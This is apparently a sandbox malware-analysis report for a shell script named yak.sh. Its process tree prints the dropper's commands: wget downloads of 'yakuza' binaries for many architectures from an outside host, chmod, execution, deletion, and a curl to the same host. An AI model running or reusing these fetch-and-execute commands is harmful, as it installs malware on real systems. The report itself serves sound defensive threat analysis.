Overview

overview

10

Static

static

1

yak.sh

ubuntu-18.04-amd64

7

yak.sh

debian-9-armhf

7

yak.sh

debian-9-mips

10

yak.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    148s
  • max time network
    132s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    24-11-2024 00:00

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    yak.sh

  • Size

    2KB

  • MD5

    f50f60f970a5203dad27c480da7b4519

  • SHA1

    f50f26900efe72f11c37767b5db9a3916a7c76b4

  • SHA256

    ca0bd413a34399accc6f62506ac94f9c7e1fd5c4efa49d1627eed568b1de78bf

  • SHA512

    40c118ed8e7b22ba4c439cc3de9a9d69d7cccd9b4d109b00a716ea564379e001304edaffb0f9ca143e87cb0138f566aebea2e998b76c9bb4b653cf7a191e4ddd

Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery

Processes

  • /tmp/yak.sh
    /tmp/yak.sh
    1⤵
      PID:1515
      • /usr/bin/wget
        wget http://linux-it.abuser.eu/yakuza.mips
        2⤵
        • System Network Configuration Discovery
        PID:1516
      • /bin/chmod
        chmod +x yakuza.mips
        2⤵
        • File and Directory Permissions Modification
        PID:1517
      • /tmp/yakuza.mips
        ./yakuza.mips
        2⤵
        • System Network Configuration Discovery
        PID:1521
      • /bin/rm
        rm -rf yakuza.mips
        2⤵
        • System Network Configuration Discovery
        PID:1522
      • /usr/bin/wget
        wget http://linux-it.abuser.eu/yakuza.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:1523
      • /bin/chmod
        chmod +x yakuza.mipsel
        2⤵
        • File and Directory Permissions Modification
        PID:1524
      • /tmp/yakuza.mipsel
        ./yakuza.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:1525
      • /bin/rm
        rm -rf yakuza.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:1526
      • /usr/bin/wget
        wget http://linux-it.abuser.eu/yakuza.sh
        2⤵
          PID:1530
        • /bin/chmod
          chmod +x yakuza.sh
          2⤵
          • File and Directory Permissions Modification
          PID:1531
        • /tmp/yakuza.sh
          ./yakuza.sh
          2⤵
            PID:1535
          • /bin/rm
            rm -rf yakuza.sh
            2⤵
              PID:1536
            • /usr/bin/wget
              wget http://linux-it.abuser.eu/yakuza.x86
              2⤵
                PID:1537
              • /bin/chmod
                chmod +x yakuza.x86
                2⤵
                • File and Directory Permissions Modification
                PID:1541
              • /tmp/yakuza.x86
                ./yakuza.x86
                2⤵
                  PID:1542
                • /bin/rm
                  rm -rf yakuza.x86
                  2⤵
                    PID:1543
                  • /usr/bin/wget
                    wget http://linux-it.abuser.eu/yakuza.arm6
                    2⤵
                      PID:1544
                    • /bin/chmod
                      chmod +x yakuza.arm6
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1545
                    • /tmp/yakuza.arm6
                      ./yakuza.arm6
                      2⤵
                        PID:1549
                      • /bin/rm
                        rm -rf yakuza.arm6
                        2⤵
                          PID:1550
                        • /usr/bin/wget
                          wget http://linux-it.abuser.eu/yakuza.i686
                          2⤵
                            PID:1551
                          • /bin/chmod
                            chmod +x yakuza.i686
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1552
                          • /tmp/yakuza.i686
                            ./yakuza.i686
                            2⤵
                              PID:1556
                            • /bin/rm
                              rm -rf yakuza.i686
                              2⤵
                                PID:1557
                              • /usr/bin/wget
                                wget http://linux-it.abuser.eu/yakuza.ppc
                                2⤵
                                  PID:1558
                                • /bin/chmod
                                  chmod +x yakuza.ppc
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:1559
                                • /tmp/yakuza.ppc
                                  ./yakuza.ppc
                                  2⤵
                                    PID:1560
                                  • /bin/rm
                                    rm -rf yakuza.ppc
                                    2⤵
                                      PID:1561
                                    • /usr/bin/wget
                                      wget http://linux-it.abuser.eu/yakuza.i586
                                      2⤵
                                        PID:1565
                                      • /bin/chmod
                                        chmod +x yakuza.i586
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:1566
                                      • /tmp/yakuza.i586
                                        ./yakuza.i586
                                        2⤵
                                          PID:1567
                                        • /bin/rm
                                          rm -rf yakuza.i586
                                          2⤵
                                            PID:1571
                                          • /usr/bin/wget
                                            wget http://linux-it.abuser.eu/yakuza.m68k
                                            2⤵
                                              PID:1572
                                            • /bin/chmod
                                              chmod +x yakuza.m68k
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:1573
                                            • /tmp/yakuza.m68k
                                              ./yakuza.m68k
                                              2⤵
                                                PID:1577
                                              • /bin/rm
                                                rm -rf yakuza.m68k
                                                2⤵
                                                  PID:1578
                                                • /usr/bin/wget
                                                  wget http://linux-it.abuser.eu/yakuza.arm4
                                                  2⤵
                                                    PID:1579
                                                  • /bin/chmod
                                                    chmod +x yakuza.arm4
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:1580
                                                  • /tmp/yakuza.arm4
                                                    ./yakuza.arm4
                                                    2⤵
                                                      PID:1581
                                                    • /bin/rm
                                                      rm -rf yakuza.arm4
                                                      2⤵
                                                        PID:1582
                                                      • /usr/bin/wget
                                                        wget http://linux-it.abuser.eu/yakuza.arm5
                                                        2⤵
                                                          PID:1586
                                                        • /bin/chmod
                                                          chmod +x yakuza.arm5
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:1590
                                                        • /tmp/yakuza.arm5
                                                          ./yakuza.arm5
                                                          2⤵
                                                            PID:1591
                                                          • /bin/rm
                                                            rm -rf yakuza.arm5
                                                            2⤵
                                                              PID:1592
                                                            • /usr/bin/wget
                                                              wget http://linux-it.abuser.eu/yakuza.arm7
                                                              2⤵
                                                                PID:1593
                                                              • /bin/chmod
                                                                chmod +x yakuza.arm7
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:1597
                                                              • /tmp/yakuza.arm7
                                                                ./yakuza.arm7
                                                                2⤵
                                                                  PID:1598
                                                                • /bin/rm
                                                                  rm -rf yakuza.arm7
                                                                  2⤵
                                                                    PID:1599
                                                                  • /usr/bin/wget
                                                                    wget http://linux-it.abuser.eu/yakuza.sparc
                                                                    2⤵
                                                                      PID:1600
                                                                    • /bin/chmod
                                                                      chmod +x yakuza.sparc
                                                                      2⤵
                                                                      • File and Directory Permissions Modification
                                                                      PID:1601
                                                                    • /tmp/yakuza.sparc
                                                                      ./yakuza.sparc
                                                                      2⤵
                                                                        PID:1605
                                                                      • /bin/rm
                                                                        rm -rf yakuza.sparc
                                                                        2⤵
                                                                          PID:1606
                                                                        • /bin/bash
                                                                          bash
                                                                          2⤵
                                                                            PID:1608
                                                                          • /usr/bin/curl
                                                                            curl -s http://linux-it.abuser.eu/test.php
                                                                            2⤵
                                                                              PID:1607

                                                                          Network

                                                                          MITRE ATT&CK Enterprise v15

                                                                          Replay Monitor

                                                                          Loading Replay Monitor...

                                                                          Downloads